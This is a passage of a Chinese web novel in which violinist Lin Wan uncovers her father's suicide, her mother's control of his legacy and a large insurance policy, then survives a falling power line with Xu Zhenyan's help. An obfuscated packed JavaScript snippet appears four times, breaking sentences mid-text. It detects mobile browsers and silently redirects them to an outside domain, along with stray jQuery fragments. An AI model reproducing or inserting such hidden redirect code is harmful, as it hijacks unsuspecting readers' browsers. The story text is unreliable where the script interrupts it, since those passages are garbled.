“身陷洗钱风波,S姓艺人微博已停更一周” 涂淼沉默地盯着这些消息,然后抬头看林菀,“你男人结婚了不见人影,说得通了。” …… 徐箴言拎着包,脚步匆匆地下班。他还在等电梯时便查好了路线,瞧见必经之路堵得红成一片,索性开车绕道上高架。 等到他及时到烤肉店时,瞧见林菀和涂淼正埋头趴在桌子上研究什么。当他看清涂淼手机上是《日光城交响曲》的男主演和林菀合照时,笑容逐渐消失。 “哎,箴言!来得正好。”涂淼并未察觉,反而将手机举起来,“你觉得林菀跟他配吗?” 林菀没料到涂淼会问徐箴言,顿时闹了个红脸,连忙伸手阻拦,却没料到徐箴言竟然回答了。 “完全不配。”他看着林菀说。 林菀愣住,一时没料到他竟如此直白。 “为什么要讨论这个问题?”他站在桌边。 饶是涂淼都看出来徐箴言的情绪有一丝不对劲,于是用胳膊拐了拐林菀,“哎问你呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102824|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干啥要讨论啊?” 林菀寻思这不是你要讨论的吗,然而只能挤出笑容,“随便聊聊。” “对,先点菜。”涂淼主动扫码,“箴言你喜欢吃什么?” 徐箴言坐下来,不知在想什么,等涂淼又问了一遍,他才说,“有菠萝牛肋条吗?” “我也喜欢诶,烤菠萝酸酸甜甜很好吃。”林菀立即说,“再来盘酸萝卜。” 涂淼立即斜眼,“你不会是怀孕了吧?”她以为自己的声音很小,但其实已经够徐箴言听到。 所以当她话音刚落,就有人喝水呛住了——不是傻眼的林菀,而是对面的徐箴言。 两个女生齐齐看向他,意外于他突然呛得说不出话。 “抱歉……”徐箴言欲言又止。在某些私人生活问题上,他一向很注意,所以……不可能的。他心里的想法在舌尖转了好几道弯,还是忍下去了。然而他还是需要解释一下自己的行为,于是努力平静道:“我以为是问我有没有孩子。” 林菀这才意识到他听到了涂淼的话,再次窘迫得脸发烫,一脚踩向涂淼的脚,笑得脸发僵,“开玩笑呢。女生之间开玩笑。”自己疑似结婚的事情决不能让外人知道。而且她怎么可能怀孕呢?大姨妈才结束。 “对对对,”涂淼也开始打马虎眼,“我们说话不顾忌的。菀菀你之前说我什么来着?” “你是个神经病。” “你看,”涂淼微笑着看徐箴言,“我们平时就是这样相爱相杀。” 徐箴言揉了揉太阳穴,瞧见林菀还是一如既往地情绪稳定,便只能轻轻叹了口气。 等菜上来后,他便脱下外套,专注于动手烧烤。 林菀有点看不下去,明明徐箴言是客人,“我来吧。” “没事。”徐箴言将一块烤好的雪花肥牛放到她盘子里。 “不好意思啊,来这儿是我提议的。”涂淼打量着他。徐箴言今天怪怪的,大概是工作上不开心了,现在才正常点。 “这家店味道不错。”徐箴言笑了,瞧见手机响便接电话,也没避开她们。 “下次去吃炒菜吧。”林菀小声对涂淼说。她伸手拿作料,结果手指碰到了烤盘边缘,便迅速缩回来。正想要叫服务生再拿一份湿毛巾时,她却见徐箴言递过来一张湿纸巾。 林菀接过纸巾,抬头看去,他还在继续讲电话,全程注意力都在通话上,并没有看她。他的动作,是下意识的反应。 她一时有些晃神,目光却落到他修长的手指上洁净的戒指。 “箴言,你是在学画画吗?”涂淼注意到了他的通话是什么画室邀请他周六去帮忙。 挂断电话,徐箴言犹豫几秒才道:“对。” “你还去专业画室啊?哎,你知道林菀父亲就是个大画家——” “我在林乃岳大师班学习过。”徐箴言索性讲出来。 涂淼惊讶地看向林菀。而林菀则倏地抿紧嘴唇,心像漂浮在水上的葫芦一样沉浮。 林乃岳是她父亲,一个初出茅庐就陨灭的小画家,世人不知。 所以……大画家这个称号是怎么来的? 林乃岳大师班又是怎么回事? 8. 不完美的世界 饭局回来后,林菀一夜无眠。 她在网上搜寻相关信息,还没输出全名,搜索栏就弹出了“林乃岳”、“林乃岳、林菀”以及“林乃岳自杀”,等等相关词条。 林乃岳,三十年前开始崭露头角的青年油画家,短短几年的时间内创作出多幅精美作品,登上艺术杂志封面,在法国开画展,在苏富比拍卖行大放异彩,被誉为中国最具潜力的年轻画家之一,才华横溢,前途无量。 当时媒体报道也非常多—— 《著名青年画家林乃岳回故乡办展》 《林乃岳油画<吃葡萄的黄鹂鸟>创拍卖价新纪录》 《林乃岳大师班第一期成功落幕》 直至—— 《著名画家林乃岳坠楼身亡》 三十五岁这一年,林乃岳跳楼自杀。 在场唯一见证者是他的妻子林珠莉。根据林珠莉本人言论,她的丈夫最近情绪极度反常,颇为厌世。 一个艺术家,一个细腻敏感、悲春伤秋的艺术家情绪崩溃,不是让人多惊讶的事情。毕竟精彩的艺术创作多建立于创作者的痛苦磨砺之上,比如梵高。艺术家若是生活优渥无忧无虑,创作出的作品便鲜少能超越前作。 而从林乃岳的作品多于细微处着眼便能看出他心思细腻敏感。如此性格扩大了他对生活的感受力,成为他创作的源泉。这也能从他对女儿的记录里窥见一二。 《林乃岳:关于女儿的小事》,由林乃岳的随笔整理而来。这本随笔是在林乃岳死亡多年后才被发现。文集里50篇文章详细记述了林乃岳从女儿出生到挖掘她的艺术才能,送她学习小提琴等等过程中的教育思想以及育儿手法。 此书一经编辑出版便受到无数家长好评,至今仍是育儿栏目畅销书籍。而最新版的封面上写着几句摘抄—— “看着她红润的睡脸,我说欢迎来到这个世界,小小林。” “女儿要健康快乐地成长。我想,再没有比这更重要的事。” “我从来不说她做错了,我只一遍遍告诉她,你是爸爸心中最棒的小提琴家。” …… 林菀用一整夜的时间看完了这本书。 等她重新抬起头,清晨窗外阳光闪耀。 一个新的世界,缓缓拉开帷幕。 …… 林菀的成长是孤独的。她被父亲的弟弟一家,也就是二叔二婶带大。夫妻俩对她说不上差,也说不上好。堂弟有补习班上,她没有。堂弟可以参加暑期游学,她不可以。她要做的就是骑自行车接送堂弟去补习班。之所以曾经学小提琴,是因为学校的音乐老师看出她有天赋,降价让她去了自家的音乐机构,附带堂弟也降价去学习。 而当街道上那些讨人厌的小孩在她窗外喊林菀妈妈是杀人犯时,二叔只会说你当没听到就行了。 可是这种话怎么能当听不见? 所以她高考后毫不犹豫选择了外省的大学,工作也是离得越远越好。在莱城,她在这千万人口中相当渺小,但也正是这份渺小让她有了谁也不知道我身份的安全感。 可是……原来她也是被深爱着的啊。 她有一位好父亲。 就连涂淼也是这样形容。 “我看过那本育儿书,你爸真是个称职的父亲。”涂淼在电话那端说,“很遗憾,你还没上小学时他就去世了。” 不过,她还是惦记结婚这事儿,“那啥,要不问问你妈?虽然你俩关系不好,但说不定她知道你到底有没有结婚。” 林菀的心跳突然上了高速公路。对,林珠莉还活着。 在林菀的记忆里,林珠莉将林乃岳推下二十层楼,被邻居发现。情急之下,她也自杀而亡。那时林菀只有一岁。 而在这个世界里,在林菀五岁多时,林乃岳同样从顶层一跃而下,目击者只有妻子林珠莉。林珠莉没有自杀。 相反,她活得很好。 由于画家本人去世,不会再有新品,所以林乃岳留下的画作价值水涨船高。林珠莉光靠卖画就翻身成富豪,主理乃岳艺术基金会,以林乃岳的名头举办各种绘画大师班。 “前段时间,你父亲早年送给朋友的一幅小画被拍卖,最终拍卖价格是八百万人民币。”涂淼感叹道,“如果他还活着,肯定能画出更好的画。八百万根本不是他应有的终点。” “那我妈呢?你了解多少?” “怎么说,毕竟是你妈……我不应该介入你们俩的母女关系,不过有时候觉得阿姨太过了,满世界撒钱,搞绘画节,盖艺术楼。我听人说了,就你爸基金会的那些钱经不起这个折腾,谁知道现在还剩多少。” 林珠莉的做法像极了突然中了彩票的暴发户,没有规划,反而得意洋洋到处可劲儿花。不过—— “为什么要到处办活动盖大楼?”怎么不是买买买吃吃吃或则倒腾倒腾房产基金? “傻啊你,这样可以维持你爸在艺术界的地位,永远不会过气,作品价格永远不会贬值,只会越来越值钱。而且你爸多产,那些年疯魔一样到处写生作画,现在还偶尔从哪个犄角旮旯里找出来一副遗失画作。你知道这样的作品值多少钱吗?当然前提是你能考古他去过的每个地方,打破砂锅刨到底。” 涂淼想了想,“总而言之,艺术圈水很深。我非说这幅画价值一个亿,你就算觉得难看也得掂量掂量。钱都是这样在画与画之间灰色地带游走的。你妈妈这个做法很聪明,坐等收钱。不像搞房地产还得货真价实地干活儿。搞艺术,吹就行了。当然我不是说你爸的作品是水货,他是真的厉害。” “但现在经济不景气。大环境影响下,还有多少人会投资艺术——” “啊,对,这就是问题。你妈铺的摊子太大,资金链很是吃紧。前段时间你俩吵架,好像也是因为钱。” 林菀沉默许久,突然鬼使神差提起另一个问题,“我知道有个著名钢琴家给自己的手指上保险,国内外加起来一共七个亿。那……我有没有给我的手上保险?” “上了啊。你还有人身意外险,国内外保险合起来一共两亿人民币吧。”涂淼摸着下巴说。 听到这个数字,林菀倒吸一口凉气。“两亿?!” “对啊,挺正常的嘛。我要是你,我也整七亿。” “等等,那受益人是谁?”林菀说话都不利索了。 “当然是你妈,还能有谁。当时你俩关系还过得去,我陪你去签字的。”涂淼好像在吭哧吭哧啃黄瓜,“怎么了?” 林菀张了张嘴,却什么也说不出来。她感觉心头一股股冒寒气。如果她保险合同的受益人是林珠莉,那么她突然能理解自己为什么闪婚了。 结婚,就能光明正大地更改受益人——将受益人变更为自己的丈夫,将遭遇“人为意外”的风险降到最低。但从这个丈夫神龙不见首尾的情况看,也不靠谱。 可林菀却是实打实的,行走的两亿人民币。 …… 太阳西下。夕阳余晖通过窗户洒进来,橘色的光线在灯壁上闪耀。 整个下午,林菀都抱膝坐在沙发一角。回神过来,她发现双腿已经麻得无法动弹。 幸好手机里保存的联络人消息完善,她成功查询到了自己那两亿保单的情况。的确如涂淼所说,数额巨大,且受益人是林珠莉。 那么… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102825|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …这个林菀眼里的完美世界,其实根本不完美。 她的确成为了曾经日思夜想的小提琴家,而且是莱音首席,但是相应而来的却是巨额保单,以及经济吃紧的母亲。 她要防备的不是别人,正是她的母亲。林珠莉如此痛恨林乃岳,自然不会待见也流着林乃岳血液的女儿。 至于那个可能存在的丈夫,他又是出于什么目的跟她结婚?如果是基于爱情,那绝不至于这么多天了丝毫不露面。 似乎……前路有老虎,后路有豺狼。前进也不是,后退也不是。 怎么办?出于扎根于骨子里的抵触与悚然,她甚至都不敢去见林珠莉。那可能是一个……是一个……杀…… 想起父亲,考虑自己,林菀焦躁至极又愤怒无比。她在客厅里来回踱步,最后猛喝好几口冰水,强迫自己冷静下来。事情一件一件解决,依次来,一定可以的。 她掏出手机,拨通了徐箴言的电话。 而此刻,半个城市之外的街区,热闹的私房菜馆。徐箴言正跟办公室同僚一起例行团建。 “箴言,来点白的?”男同事举起一瓶白酒。 “我啤酒就行。”徐箴言挪开杯子,发现手机上显示昵称为兔子头emoji的来电。 “叫代驾啊,担心啥。还是你女朋友管得宽?” 徐箴言笑了笑,拍拍同事肩膀便起身,去外面接电话。 “他有女朋友?没听说过啊。”桌子对面的女同事好奇地问。 “他经常对着手机傻笑,没发现吗?”男同事继续给大家倒酒。至于戒指什么的,没人在意。毕竟金融圈经常爆出各种男女混乱关系吃瓜pdf,时尚白领们连所谓一生只能买一次的戒指都快搞批发,那么随便在无名指戴戴戒指能算什么。 徐箴言推门出餐厅,见到路上行人来往,华灯初上。他习惯性问:“吃了吗?” “我吗?还没。”林菀在那边回答。 “我还在外面,这儿有家可点轻食,待会带一份给你?”怕她觉得麻烦,他补充一句,“我顺路。”就算不顺路,也必须顺路。 林菀心里一晃,没想到徐箴言次次开口说的吃食都是她喜欢的。“……这倒不用了。其实找你是有另外一件事,你现在方便说话吗?” “嗯,说吧。” “我记得你明天要去林乃岳大师班。我可以跟你一起去吗?”林菀找借口道,“我很久没去了,一个人去的话有点尴尬。”她没做好见林珠莉的心理准备,但是去这个传说中的大师班打探打探消息还是可以的。她只需要一个引路人就好。 徐箴言很快答应,声音也明显愉悦起来,“当然可以。” “地址是什么地方?我打车到那边跟你碰头——” 徐箴言第一次打断她的话,“明天上午八点我来接你。” 电话那边突然没有吭声,良久才有低低的声音传来,“谢谢。你妻子出差回来,一定要告诉我。我请你们俩吃饭。” 徐箴言喉头滚动却没有说话。 黑发垂下来,扫在眼睫毛上。他的沉默在这热闹的街头,突然显得格外寂寥。 吃葡萄的黄鹂鸟> 9. 林乃岳大师班 午夜两点。 放在床头柜上充电的手机突然震动起来。 徐箴言惺忪睁眼,在黑暗中摸到手机,“姐?” 徐雯在那边急匆匆地问,“你记得蕊蕊的病历卡在哪儿吗?” “看看她房间书架第二层收纳盒。”他摁亮台灯坐起来,“怎么了?” “蕊蕊发烧了,退烧贴不管用。” 徐箴言闻言直接掀被子起身,“你给她穿好衣服,我现在过来。她体温多少度?” “三十九。你睡觉,不用来。” “你一个人搞不定。我半小时就到。”徐箴言拿起水杯喝了一口,拉开衣橱拎出衣服。 半个小时后,他赶到徐雯小区的地下车库,她已经抱着孩子等在通道口。 蕊蕊缩在妈妈怀里,额头贴着退烧贴,烧得迷迷糊糊还是喊了声舅舅,伸手要抱。 “乖,舅舅要开车。”徐雯摁下女儿的手。 徐箴言打开车后座门,将蕊蕊安置到儿童座椅上,等徐雯坐进来后,他便直接开车去妇幼。 蕊蕊难受得不时哼哼。徐雯一边轻声安抚女儿,一边默默看着弟弟开车的背影。午夜的马路安静至极,寂寞的路灯依次闪过,暗淡的光线撒在徐箴言身上,浮光掠影,稍纵即逝。 她突然长长深呼吸一下,掩去胸中伤感绵长的情绪。 到了医院,徐箴言抱起孩子,轻车熟路去急诊。徐雯则负责挂号拿药。一通忙活下来,徐雯庆幸弟弟来了,否则她绝对没办法抱着孩子跑东跑西。 等去窗口抽血时,蕊蕊开始在徐箴言怀里哭闹,“舅舅我不打针!”她哭得满脸通红,眼睫毛一簇一簇的。 “别动,”徐雯抓住她的手强行往窗口送,“你越哭就越痛。” “她害怕,想哭就哭。”徐箴言将蕊蕊的脸遮到自己胸口,摸着她的小脑瓜,低声温和道,“舅舅知道你现在难受。可是不打针就会一直难受,只有打针才会好起来。你可以哭,没关系。但我们听医生姐姐的话,让她把叫你发烧的病毒赶走,好不好?” 蕊蕊依旧在哭,一手抓紧了他的衣服,但另一只手肯松劲让徐雯递过去了。 “这舅舅真不错。”旁边独自带孩子来看医生的妈妈羡慕地夸了一声。 听到旁人这么说,徐雯突然晃神。 …… 半个小时后,徐雯抱着孩子挂吊瓶,而徐箴言则出去买了吃食回来。 她静静看着怀里女儿的睡脸,突然轻声说道:“对不起。” 徐箴言正往热饮上插吸管,顿了一下,看向姐姐。 “我是个不称职的母亲。”她与弟弟四目相对。 “……”徐箴言将牛奶递过去,“别这样说。有一个事业成功的妈妈,蕊蕊很自豪。” 徐雯想笑却笑不出来。她接过牛奶,注意到弟弟手里跟她不一样,“你怎么喝咖啡?回去不补觉了?” 徐箴言抿了一口咖啡,“想喝这个。” “说蕊蕊是小孩子,你才是。”徐雯腾出手来,“牛奶我还没喝,拿去。” “不用。”徐箴言故意又喝一大口咖啡,“已经喝了。” …… 早上七点四十,林菀跟涂淼等在小区门口。 “哎你真不吃早饭?”涂淼在啃煎饼果子。 “没胃口。”林菀帮她拎过豆腐脑,“你今天不工作吗?” “去画室说不定会发现你那个隐藏款老公。这种好戏我可不想错过。”涂淼朝路口张望,“徐箴言怎么还不来。对了,你车在哪儿?” “地下车库。”林菀想也不想。说完她才一愣,脑海里竟然还浮现出了一串陌生的车牌号。怎么回事?这是突然“想”起来了?她还有车? “他来了。早上好啊,箴言。我也一起去哦。” “你们俩做什么事情都在一起么?”徐箴言有些无奈地从车里出来,将一份三明治递给林菀。 “对啊,”涂淼将煎饼果子包装袋丢到垃圾桶,指了指林菀,“这是我老婆。” “行吧,你们俩结婚。”徐箴言脱下外套,打算拆除后座的儿童座椅。他把姐姐和侄女送回去后,只回家洗漱换了个衣服就出门。 “那个……谢谢。你吃早饭了吗?”林菀问。 “吃过了。”他一笑。那杯咖啡权当早餐。 “哟,你这是打算要小朋友了?”涂淼看到后座的儿童座椅,不免打趣。 “这是我外甥女的。” “不用拆啊,林菀坐前排就好了,反正她有点晕车。”涂淼又说,“你老婆不会介意吧?” 这补充的后半句让徐箴言突然定住。沉默片刻,他看了看旁边一时不知所以然的林菀。她的表情甚至带着一丝疑惑。 收回目光,徐箴言转身绕过车头,垂眸没看过来,语气也听不出情绪,“上车吧。” 涂淼忍不住给林菀发了一条微信——“有情况啊”。 林菀看完消息,将手机息屏,默然看向朝阳下徐箴言的侧脸。 …… 到达林乃岳大师班的举办地,是一个小时后。那是一个用白墙围起来的院子,墙边草木繁盛,拥着线条流畅简洁的二层小楼。 涂淼第一次来这里,摘下墨镜四处打量,“画室在哪儿?” 林菀几乎凭直觉朝左边一指,“大画室在那儿。二楼还有两个小画室。”她有一种似曾相识的感觉,仿佛在梦里来过。 偌大的画室窗明几净,墙边叠放着不少画框杂物,桌子上也摆着各种挤了一半的牙膏似的颜料、洗刷后未干的画笔等等用品。 七八个人围着一尊石膏像,错开摆放画架,正在画肖像。一个三十出头的男人正站在一个画架前讲结构,听到门响,他回头笑了,“什么风把我们大小姐吹来了?啊,箴言也来了。” 周城,林乃岳唯一的徒弟——这几个字刷地出现在林菀脑海里。 徐箴言打着招呼放下包。涂淼也挤了过来,“哈喽,周城哥,原来你在这儿啊。” “回城换换脑子,顺便过来看看。”周城依旧看着林菀,眼里满是戏谑,“怎么?不认识了?” “好久不见,周城哥。”林菀来回打量徐箴言和周城。 她相当震惊——周城跟徐箴言的气质太像了。虽然两人长相极为不同,但身量都差不多高。周城甚至跟徐箴言一样穿着同一品牌的衬衣和裤子,同一个色系。唯一不同的是周城的衬衫是深蓝色,而徐箴言的衬衫则是浅蓝色带点条纹,领口露出内搭的白色T恤衫。 林菀目光下移,发现周城竟然也戴着戒指,而且是无名指和中指都佩戴纤细无花纹的戒指,乍一看跟徐箴言的婚戒一模一样。 涂淼也发现了,咳嗽着示意林菀注意。 “你们这是碰上了还是认识?”周城笑着问。 “我们是最近认识的朋友。”林菀恢复在职场的状态,“听说他要来这里帮忙,我一起来看看。” “欢迎。”周城拿了几瓶矿泉水过来,又问徐箴言,“是于老师让你来代班吧?本来定的是他今天讲莫奈的作品特点。” “他说咽炎犯了。” 周城笑容和善,转头跟林菀推销,“箴言虽然学画才几年,但很有天赋。”他又拍拍徐箴言的肩膀,“你上次没画完的那副画,让一个学徒刷底色重画了,不介意吧?” “没事。”徐箴言没多在意。 出于画特效妆的职业习惯,涂淼在研究他们画画的颜料,闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102826|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言竖起大拇指,“可以啊,才学几年就能当老师讲课了。” “对了,我妈……最近来过吗?”林菀问。 “没有。我最近跟她不太融洽,你懂的。”周城说。 这话一出口,林菀的心猛地一晃,脸色不自然地变了变。 为了避免让人看出不对劲,她扭头看向墙壁上挂着的画,倒还真被吸引注意力。 多副大小不一致的油画错落排列,有肖像画,也有风景画,应该都是学徒画的。 “你觉得哪副最好看?”周城问。 林菀仔细地观察,脚步停顿在每一副画的跟前,体会画中人物的表情姿态,欣赏画中风景的细节刻画。最后,她站在第三幅油画面前,“这幅最好。” “你觉得它画的什么?”周城饶有兴致地抱起胳膊,“当初我以为是水面。” 桌边的涂淼回头看了一眼,插嘴说,“是花丛吧。” “我觉得是夕阳下的城市。”林菀说。 油画笔触略微抽象,高楼大厦化为起伏的竖立长块,各种深蓝和浅蓝混杂。建筑群之上,橘色调的天空绚烂异常。 油画一角,潦草地写着两个英文字母,大概是作者签名。 “还真猜对了,是吧?”周城不可思议,突然询问画下这幅画的人。 林菀也转头望去。 隔着好几个正在作画的学徒,徐箴言站在一个画架前,静静地望着她。 她的眼神,猝不及防落入他的目光里。 她读懂了他的画作。 她读懂了他的特别。 “周老师。”有个学徒举手喊周城。 “稍等。” 林菀回神,按下心头的躁动,继续看着画。没多久,她身边的人换成了徐箴言。 “你真的只学了几年绘画?”她没有回头。 “小时候一直自己画着玩。” “你肯定很喜欢吧,为什么没有专业学习?” “若说喜欢,不如说是刚巧擅长一些,所以就通过这种方式表达情绪。我没有特别喜欢的事情,”他看向她,“很无趣吧?” “有多少人又能真正找到自己的爱好呢?”她反问。 “我父母去世得早。甚至都没有见过他们,我是寄宿在亲戚家长大的。农村里条件也不好,没有课外班这种概念,也不重视教育。”徐箴言很平静地继续回答问题,“所以小时候没有系统学过。” 林菀刷地抬头看向他,垂在身侧的手骤然握紧。她心里有一种情绪如潮水般蔓延开来,涌上堤岸,退缩回去,反反复复。 “我打个岔啊,林菀你跟我出来一下。”涂淼突然出现,拉着林菀出门。等到走出院子,她才严肃提醒,“你跟徐箴言聊什么呢?” “……没啥。就是他小时候的事情。” “那你要不要再听听他老婆小时候的故事?”涂淼抱起胳膊,“我觉得你是跟周城哥结婚了,青梅竹马。” “不可能!”林菀下意识反驳,“我跟他不熟悉。” “是你‘现在’跟他不熟悉,又不是‘以前’。你都不记得了。人家是你爸的弟子,瞧瞧他刚刚说了啥,他跟你妈关系也不好。就算不是因为感情结婚,那也可能是同仇敌忾,商业合作,一致对外呢。他不来找你也说得通啊,平时都呆乡下专心采风画画,不用履行实质婚姻义务。” 林菀见涂淼说得头头是道,莫名有点心虚。论外表,徐箴言和周城这样外表干净舒展的,的确在她审美之内。 “我去买咖啡,你们想喝什么?”这是徐箴言的声音。 几乎是同时,林菀几米外的电线杆顶端传来炸裂声。她下意识抬头,只见电光火石之间,一根高压电线坠了下来。 10. 电线坠落 徐箴言眼疾手快扑过去将林菀罩到身下。 林菀猛地摔倒在地,后脑勺被徐箴言的手稳稳托住。电线晃过她原本站立的地方,由于被其他线路缠绕而摇晃在半空,火星闪烁。 而涂淼站在围墙边正好有遮挡物,躲过一劫。 这时,对面街道上的所有门店闪灯广告牌齐齐熄灭,红绿灯也冒出了黑烟。马路上各种车辆刺耳的鸣笛声此起彼伏。在这混乱当中,徐箴言将还来不及回神的林菀拽起来,连带涂淼一起推向院内,“回去!” 行人尖叫声起,刺耳的急刹车中,失控的汽车哐当一声撞毁了院子围墙,砖头散落一地,声音震耳欲聋。 电线杆再次传来噼啪声,火花四溅。第二根电线断裂,跟着那根晃在半空的电线一起垂落到地上。 徐箴言迅速判断距离,朝四处逃窜的行人大喊:“大家远离电线!不要过来!”他回头提醒试图过来帮忙的林菀,“别过来!离我越远越好。” 画室里的周城听到异响,跑出来查看情况。他身后,学徒们也接连跑出来。 “你快点回来!”地上满地碎石,林菀急得差点一个趔趄。 徐箴言依旧站在原地,竟然冲她笑了一下,“我不能动。” 他离电线太近。按照常理来说,地面带电,他离开的唯一办法是单脚跳,但此刻他的左脚被断瓦残砖掩埋,想要抽出来势必站姿不稳。而一旦稍有不慎形成跨步电压,电流在体内持续作用两秒钟就会致命。 所以此刻哪怕风险极高,他也只能站在原地不动,保持两脚站立,让身体处于等电位状态。这是下策之中的上策。 “没事。”他告诉林菀,声音平稳,“报警。” 林菀迅速掏出自己的手机,却发现屏幕已经碎成蜘蛛网。 “用我的,快点。”周城将他的手机递过来。 林菀先拨打110,然后拨打119,她发现自己的手指在颤抖。 突然之间,她眼前浮现了一个画面。潮湿的热带雨林里,一身草绿色迷彩服的徐箴言站在几米之外,朝她伸手示意——“别过来。” “为什么?” 他一动不动,语气平静极了,“我脚下有地|雷。” …… 一小时后,警戒线内,警车和消防车的警灯在反复闪烁。电网工人在紧急抢修故障区域。 由于路口连环撞车并且院子被撞毁,作为今天画室唯一在场的负责人,周城没法按时返回乡下他自己的画室,而是留在这里和警察处理撞车事情。林菀和涂淼也在接受询问。 而斜对街的小诊所里,徐箴言在处理胳膊的擦伤,手腕和小臂刚刚裹上纱布。 一位消防员从消防车跳下,穿过人群走过来,朝他伸出手,“喏。”他手心里躺着一管药膏。 徐箴言自然地抬头冲他弯起嘴角,“贿赂我啊?” 消防员在他身边坐下来,摘下头盔,“得意吧,也就是咱在班长那里面子大。”所以才能拿药过来。 “谢谢。”徐箴言将那管药膏收下。 “你最近怎么光晚上活动?要不然出门,要不然熬夜做家务。”消防员好奇地说。 徐箴言闻言直起身子,“……你还在监视我?说好没事了就把软件删掉。”说的是他家里摄像头搭配的监控软件。 “我就是值夜班时无聊看看你家动静。”消防员一脸无辜表情。 “箴言。”突然传来林菀的声音。 徐箴言扭头才发现她和涂淼过来了。他的反应快极了,迅速起身摁了下消防员的肩膀,“我介绍一下,我的朋友,林菀、涂淼。这也是我朋友,消防大队的,叫江小姗。” “你好,小姗。”林菀主动递出一瓶矿泉水,“喝水吗?”她买了几瓶水过来。 一个二十出头,年轻盛意,顶着露出青头皮的寸头,晒成小麦色皮肤的男消防员,竟然叫江小姗。 涂淼有点疑惑,然而比她更加疑惑的是江小姗。他迟疑地打量林菀,左瞧右瞧她都是一副初次见面的模样。于是江小姗扭头去看徐箴言。 徐箴言以眼神示意,轻轻摇头。 江小姗只好不问原因,转身接过水。“谢谢。” “你的伤口——”林菀的目光一直落在徐箴言胳膊上的纱布上。 徐箴言立即笑道:“放心,刚刚医生不是说了,我这点小伤没问题,很快就恢复。不是你的错。”不管是谁站在电线下,他都会去帮忙。 然而林菀还是情绪不高,脸色略显苍白。她勉强配合地笑了笑。如果不是她,徐箴言不会受伤。他没被电死已经是万幸。 “你的手没受伤吧?”徐箴言问。 “没有。”林菀摇摇头,心底微讶徐箴言竟然会问到她的手。不过也能理解,手对小提琴家来说至关重要。 “那你们俩在这儿休息。我跟小姗过去问下调查情况。”他拍拍江小姗的肩膀,示意对方一起离开。他不想让稀里糊涂的江小姗和林菀过多接触。 “怎么回事?你跟她……”江小姗走出几步就忍不住问。 “情况很复杂,你要知道?”徐箴言说。他很清楚江小姗怕麻烦的性格。 “算了。别告诉我。”江小姗立即摇头。他还得空出脑子来备考消防救援学院呢。 “事故救灾方面,我是门外汉。”徐箴言若无其事地看了看围观人群,他清楚林菀还在望着他,于是表情丝毫未变,只是压低声音,“你认为这事是否人为?” …… “箴言去问情况,估计一时半会也问不出啥来吧。”涂淼望着徐箴言的背影,一屁股坐下,她已经恢复镇定了,“要我说,就是电线老化掉下来,吓得司机手忙脚乱导致连环撞车。” “说不定是人为。”林菀冷不丁说。 涂淼刷地看向她,意外于她会这样说。 看到涂淼表情渐渐不对,林菀只好假笑起来,“哎呀,我开玩笑的。” “吓死我了你。这种玩笑不兴开,整得跟有人要谋杀你似的。”涂淼松了口气。 林菀却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102827|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连假笑都笑不出来了,只好别开脸看向路口。普普通通地长大的她,从来没有见过如此严重的意外事故。可她真的觉得有可能是人为。要不然,怎么就偏偏是她头顶的电线出问题?而一旦真的出事,她就化为两亿人民币,进了林珠莉的腰包。 “糟糕,我忘了下午约了理财经理见面。”涂淼掏出手机,发现理财经理打电话来了。 “没事,你去吧。” “那待会让箴言送你回去?”涂淼接通电话,讲了几句后挂断,又开始闲聊,“说起来,这理财经理还是箴言他们银行的。” “你不去打车?” “那个理财经理路过这里,顺便带我去银行。哎,说曹操曹操到。”涂淼朝一个从车里刚下来的男人打招呼,“庞经理!” 林菀下意识抬头望去。 有人提着公文包背光而来,挡住了中午刺眼的光芒。他朝涂淼伸出手,“涂女士您好,好久不见。” 林菀下意识眯起眼睛,看向那挡住阳光的黑色轮廓,顿时脸上的血色刷地退去。 汹涌的记忆如浪潮呼啸而来,又如绳索一般死死勒住了她的脖颈,让她无法呼吸。 她见过这个男人。 在婚礼上,他站在台上牵着新娘的手向众人宣布,请大家放心,他一定会照顾好涂淼。 她见过这个男人。 